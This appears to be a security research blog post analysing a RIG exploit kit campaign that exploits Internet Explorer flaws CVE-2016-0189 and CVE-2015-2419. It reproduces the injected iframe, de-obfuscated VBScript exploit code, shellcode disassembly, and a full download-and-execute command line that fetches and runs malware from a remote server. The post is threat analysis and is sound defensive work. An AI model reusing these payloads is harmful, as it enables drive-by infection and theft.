DATE HERE, 2017
By Perception Point Research Team

In The Wild
RIG Exploit Kit Analysis

DATE HERE, 2017
By Perception Point Research Team

Over the past week we’ve picked up on a campaign of infected sites that are redirecting users to RIG EK. Perception Point’s technology has identified an actively running malware campaign that is targeting CVE-2016-0189 and CVE-2015-2419 in order to install a malicious payload.

Exploit Kit Analysis

Our finding correlate to Nao-sec’s inclusive report regarding RIG EK.

Compromised Sites

Injected iFrame

The attackers compromised the site and added the following code snippet which directs the victim to the RIG EK landing page.
<iframe open='1' id='gx807' src='http://jakpotfreerols99.gq/rbt/?' width='308' height='308' type='1'></iframe>

Landing Page

The landing page is heavily obfuscated and contains exploit code as documented in the following section.

Exploits

CVE-2016-0189

The first exploit in RIG EK abuses a vulnerability in the VBScript engine of Internet Explorer in order to execute 2 arbitrary payloads. After performing some de-obfuscations using Mozilla Javascript Deobfuscator add-on tool we successfully extracted the VBS payload script.
First, we noticed the “ProtectMe” function, which is invoked by the javascript code:

Function ProtectMe (arg1)
    Dim addr
    Dim sexy
    Dim koles
    Dim mem
    Set dm = New MiddleD
    addr = GogoGoA(arg1, dm)
    mem = LikeMeLike(arg1, addr + 8)
    sexy = strToInt(Mid(mem, 3, 2))
    mem = LikeMeLike(arg1, sexy + 4)
    koles = strToInt(Mid(mem, 1, 2))
    Rewwati arg1, koles + &H174
    fire()
    Rewwati2 arg1, koles + &H174
 End Function

This function creates a dummy class instance, retrieves its memory address and then leaks the address of COleScript object in order to overwrite the GodMod flag, as superbly documented here.
After GodMode is obtained the fire() function is invoked which executes the malicious payloads.

Sub fire()
    On Error Resume Next
    key="gexywoaxor" url="http://188.225.XX.XX/?Lpe&traveling=UKFewBnnYxfUFMX86__j0LUzBCd1ZOB_BSMMwlH_JORFeVq2V6knbUkecIlzh-L7WhZxe4tDxoV4g&flight=2090&cars=2322&world=xXrQMvWYbRXQDp3EKv_cT6NBMVHRH0CL2YydmrHQefjaflWkzrfFTF_wozKATwSG6_ZtdfJVDQHmi&vel=4298"
    uas=Navigator.userAgent      
    Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
    Dim osloc
    Dim awghjghg
    for each os in oss
        osloc=os.OSLanguage
    next
    SetLocale(osloc)          
    Set req=CreateObject("WinHTTP.WinHTTPRequest.5.1")
    req.SetProxy 0
    req.Open "GET",url,0
    req.Option(0)=uas
    req.Send
    If 200=req.status Then
        z=req.responseBody
        Set c=CreateObject("Scripting.FileSystemObject")
        tmp=c.GetSpecialFolder(2)
        fake32=tmp&"\System32"
        If Not c.FolderExists(fake32) Then
            c.CreateFolder(fake32)
        End If
        im uyu5t,dlltxt,sdfsdf,dop,fakedll
        dop=&h20
        sdfsdf = Array(&h4d,&h5a,&h80,0,1,0,0,......)
        uyu5t= sdfsdf
        For i=0 to Ubound(uyu5t)
            uyu5t(i) = Chr(uyu5t(i))
        Next
        dlltxt = Join(uyu5t,"")
        fakedll = c.BuildPath(fake32,"shell32.dll")
        Set b=c.CreateTextFile(fakedll)
        b.Write dlltxt
        b.Close
        f=c.BuildPath(tmp,rnds(8)&".exe")
        Set stream=CreateObject("ADODB.Stream")
        stream.Open
        stream.Type=1
        stream.Write z
        arcnsave stream,key,f
        stream.Close
        Set w=CreateObject("WScript.Shell")
        w.CurrentDirectory=tmp
        oldroot=w.Environment("Process").Item("SystemRoot")
        w.Environment("Process").Item("SystemRoot")=tmp
        w.Environment("Process").Item("SysFilename")=f
        Set sh = CreateObject("Shell.Application")
        Environment("Process").Item("SystemRoot")=oldroot
    End If
End Sub
 

The script creates a temp folder that will be used later to store the malicious payloads.
Inside that temp folder it creates a folder named “system32”.
The first payload is an encrypted executable file which is downloaded from a remote HTTP server. The script decrypts it and drops it with a random filename in the created temp directory. The full path will be stored later in an environment variable named %SysFilename%.
The second payload is a tiny DLL file which is hardcoded in the script in an array called sdfsdf. The script writes it to the fake “system32” temp directory and names it “shell32.dll”. Then it points the “%SystemRoot%” environment variable to the temp folder meaning that “%SystemRoot%\system32\shell32.dll” will be expanded to the fake shell32.dll path so that when the script creates a “Shell.Application" object instance the fake DLL will be loaded.

Now, after we figured out how the DLL payload is executed, let’s see what it actually does:

This DLL includes one simple function which invokes CreateProcessAsUserW.
ScreenShot01
The CommandLine argument points to a buffer which is encrypted by a one-byte-xor encryption. Decrypting the buffer gives us:
“cmd.exe /c start %SysFilename% & rd /s /q System32”
%SysFilename% as we mentioned above, is the first executable payload that was downloaded before and will be analyzed later in the document. After executing the malware, it remove the fake system32 directory, which includes the dll itself.

CVE-2015-2419

This exploit leverages a bug in the javascript engine of Internet Explorer 11 as documented here:
FireEye | Checkpoint

The following is our technical analysis of the exploitation chain

Heap Spray
A heap spray is performed by spray Javascript arrays of type unsigned integers in order to control heap data at address 0x17249000 which is later dereferenced by the bug.

Flow Hijack
Our engine picked up on the illegal execution flow as presented in the following output

000000006bf7d655 <jscript9.dll+0xd655>   cmp dword ptr [eax], 1 
000000006bf7d658 <jscript9.dll+0xd658>   je 0x6bf7d673
000000006bf7d65a <jscript9.dll+0xd65a>   mov eax, dword ptr [edx]
000000006bf7d65c <jscript9.dll+0xd65c>   push edi
000000006bf7d65d <jscript9.dll+0xd65d>   push esi
000000006bf7d65e <jscript9.dll+0xd65e>   push dword ptr [ebp + 0xc]
000000006bf7d661 <jscript9.dll+0xd661>   push dword ptr [ebp + 8]
000000006bf7d664 <jscript9.dll+0xd664>   push ecx
000000006bf7d665 <jscript9.dll+0xd665>   mov ecx, edx
000000006bf7d667 <jscript9.dll+0xd667>   call dword ptr [eax + 0x4c] <-----
000000006bf8e01c <jscript9.dll+0x1e01c>  xchg eax, esp
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
000000006bf94a58 <jscript9.dll+0x24a58>  mov dword ptr [ecx + 0xc], eax
000000006bf94a5b <jscript9.dll+0x24a5b>  ret
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
0000000076f62c15 <kernel32.dll+0x42c15>  mov edi, edi
0000000076f62c17 <kernel32.dll+0x42c17>  push ebp
0000000076f62c18 <kernel32.dll+0x42c18>  mov ebp, esp
0000000076f62c1a <kernel32.dll+0x42c1a>  pop ebp
0000000076f62c1b <kernel32.dll+0x42c1b>  jmp 0x76f220d8
 

ROP Chain

The ROP chain is easily spottable in the snippet above, it contains 3 gadgets which pivot the stack and invoke kernel32!VirtualProtectStub which changes the heap memory permissions to PAGE_EXECUTE_READWRITE (as you can see the 00000040 in the following snippet)

//Stack pivot
000000006bf8e01c <jscript9.dll+0x1e01c>  xchg eax, esp
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
//Backup old stack pointer
000000006bf94a58 <jscript9.dll+0x24a58>  mov dword ptr [ecx + 0xc], eax
000000006bf94a5b <jscript9.dll+0x24a5b>  ret
//Invoke kernel32!VirtualProtectStub
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
0:012> dd esp
1724900c  1724a050 1724a050 0000072e 00000040
1724901c  17245100 00000000 00000000 00000000
1724902c  00000000 00000000 00000000 00000000
1724903c  00000000 00000000 00000000 00000000
1724904c  6880e01c 00000000 00000000 00000000
1724905c  00000000 00000000 00000000 00000000
1724906c  00000000 00000000 00000000 00000000
1724907c  00000000 00000000 00000000 00000000
 

Shellcode

Execution is returned to the heap to a small stub that invokes the shellcode

0:012> u 1724a050 
1724a050 53              push    ebx
1724a051 55              push    ebp
1724a052 e810000000      call    1724a067
1724a057 5d              pop     ebp
1724a058 5b              pop     ebx
1724a059 8b630c          mov     esp,dword ptr [ebx+0Ch]
1724a05c 8b450c          mov     eax,dword ptr [ebp+0Ch]
1724a05f 830801          or      dword ptr [eax],1

As you can see, we have a simple XOR decryption loop

0:012> u 1724a067 L 20
1724a067 90              nop
1724a068 eb12            jmp     1724a07c
1724a06a 58              pop     eax
1724a06b 31c9            xor     ecx,ecx
1724a06d 66b96d05        mov     cx,56Dh
1724a071 49              dec     ecx
1724a072 80340884        xor     byte ptr [eax+ecx],84h
1724a076 85c9            test    ecx,ecx
1724a078 75f7            jne     1724a071
1724a07a ffe0            jmp     eax
1724a07c e8e9ffffff      call    1724a06a

Finally we have shellcode that finds and invokes kernel32!CreateProcessA

1724a081 55              push    ebp
1724a082 89e5            mov     ebp,esp
1724a084 83c4ac          add     esp,0FFFFFFACh
1724a087 53              push    ebx
1724a088 51              push    ecx
1724a089 57              push    edi
1724a08a 31c0            xor     eax,eax
1724a08c 648b4030        mov     eax,dword ptr fs:[eax+30h]
1724a090 8b400c          mov     eax,dword ptr [eax+0Ch]
1724a093 8b400c          mov     eax,dword ptr [eax+0Ch]
1724a096 8b00            mov     eax,dword ptr [eax]
1724a098 8b00            mov     eax,dword ptr [eax]
1724a09a 8b5818          mov     ebx,dword ptr [eax+18h]
1724a09d 89d8            mov     eax,ebx
1724a09f 03403c          add     eax,dword ptr [eax+3Ch]
1724a0a2 8b5078          mov     edx,dword ptr [eax+78h]
1724a0a5 01da            add     edx,ebx
1724a0a7 8b7a20          mov     edi,dword ptr [edx+20h]
1724a0aa 01df            add     edi,ebx
1724a0ac 31c9            xor     ecx,ecx
1724a0ae 8b07            mov     eax,dword ptr [edi]
1724a0b0 01d8            add     eax,ebx
1724a0b2 813843726561    cmp     dword ptr [eax],61657243h
1724a0b8 751c            jne     1724a0d6
1724a0ba 81780b73734100  cmp     dword ptr [eax+0Bh],417373h
1724a0c1 7513            jne     1724a0d6
1724a0c3 8b4224          mov     eax,dword ptr [edx+24h]
1724a0c6 01d8            add     eax,ebx
1724a0c8 0fb70448        movzx   eax,word ptr [eax+ecx*2]
1724a0cc 8b521c          mov     edx,dword ptr [edx+1Ch]
1724a0cf 01da            add     edx,ebx
1724a0d1 031c82          add     ebx,dword ptr [edx+eax*4]
1724a0d4 eb09            jmp     1724a0df
1724a0d6 83c704          add     edi,4
1724a0d9 41              inc     ecx
1724a0da 3b4a18          cmp     ecx,dword ptr [edx+18h]
1724a0dd 7ccf            jl      1724a0ae
1724a0df 8d45f0          lea     eax,[ebp-10h]
1724a0e2 50              push    eax
1724a0e3 8d7dac          lea     edi,[ebp-54h]
1724a0e6 57              push    edi
1724a0e7 31c0            xor     eax,eax
1724a0e9 b911000000      mov     ecx,11h
1724a0ee f3ab            rep stos dword ptr es:[edi]
1724a0f0 66c745d80101    mov     word ptr [ebp-28h],101h
1724a0f6 c745ac44000000  mov     dword ptr [ebp-54h],44h
1724a0fd 50              push    eax
1724a0fe 50              push    eax
1724a0ff 50              push    eax
1724a100 40              inc     eax
1724a101 50              push    eax
1724a102 48              dec     eax
1724a103 50              push    eax
1724a104 50              push    eax
1724a105 eb0e            jmp     1724a115
1724a107 50              push    eax
1724a108 ffd3            call    ebx // {kernel32!CreateProcessA (76832082)}
1724a10a 5f              pop     edi
1724a10b 59              pop     ecx
1724a10c 5b              pop     ebx
1724a10d c1e003          shl     eax,3
1724a110 83c006          add     eax,6
1724a113 c9              leave
1724a114 c3              ret
 

The following command line is passed in the parameters to kernel32!CreateProcessA

cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="pow",j=6*6;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j)["slice"](1)};function V(k){var y=a(e+"."+e+"Request.5.1");y.setProxy(n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=50*5+5,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e.charCodeAt(b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinHTTP",Z="cmd",j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(20+1+v[M]("PE\x00\x00"));s.WriteText(v);if(31^<d){var z=1;x+="dll"}else x+=p;s["sav"+"etofile"](x,1+1);s.Close();C=" /c ";z^&^&(x="regsvr"+32+E+" /s "+x);j./**/run(Z+E+C+x,1-1)}catch(N){};q.Deletefile(K);
>o32.tmp && start wscript //B //E:JScript o32.tmp "gexywoaxor" "hxxp://188.225.XX.XX/?Lpe&traveling=mjkKFewZnnYxYUFMX9a__j0TUzBCe1ZOB_hSMMwhH_JOXFeVq3V6knbAkdcsjxBWE7WFgke5dUQ&cars=3213&flight=5374&world=xX_QMvWebRXQCJ3EKv_cT6NGMVHRHECL2YudmrHVefjaf1WkzrbFTF_xozKASQSG6_ZtdfJSDQH&Vid=6107" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727;.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
 

Download-and-Execute

The command line writes a file named o32.tmp to %tmp%, fills it with Javascript code and invokes it with 3 parameters:

It downloads the malware from the URL and executes it in the logged on user’s context.

Malware Analysis

This malware is a session stealer.
An infected machine can be easily identified by the following registry key:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\jfghdug_ooetvtgk

Sample MD5: a5e7c3e7404a84b41ca55fef19a51421
Generates a name of 8 random alphanumeric characters

The malware employs different anti debugging and anti static analysis techniques.
It is highly packed with no less than 3 different packers (including APLib, UPX and another unrecognized packer).
The malware doesn’t seem to be widespread at the moment, but we did see it across the internet with different compilations and hashes.
We have found more examples of the malware, all seem to be very recent which might indicate the campaign itself is relatively new.

Share the joy

More Articles

Analysis and exploitation of a Linux kernel vulnerability (CVE-2016-0728)

The Perception Point Research team has identified a 0-day local privilege escalation vulnerability in the Linux kernel.
Read More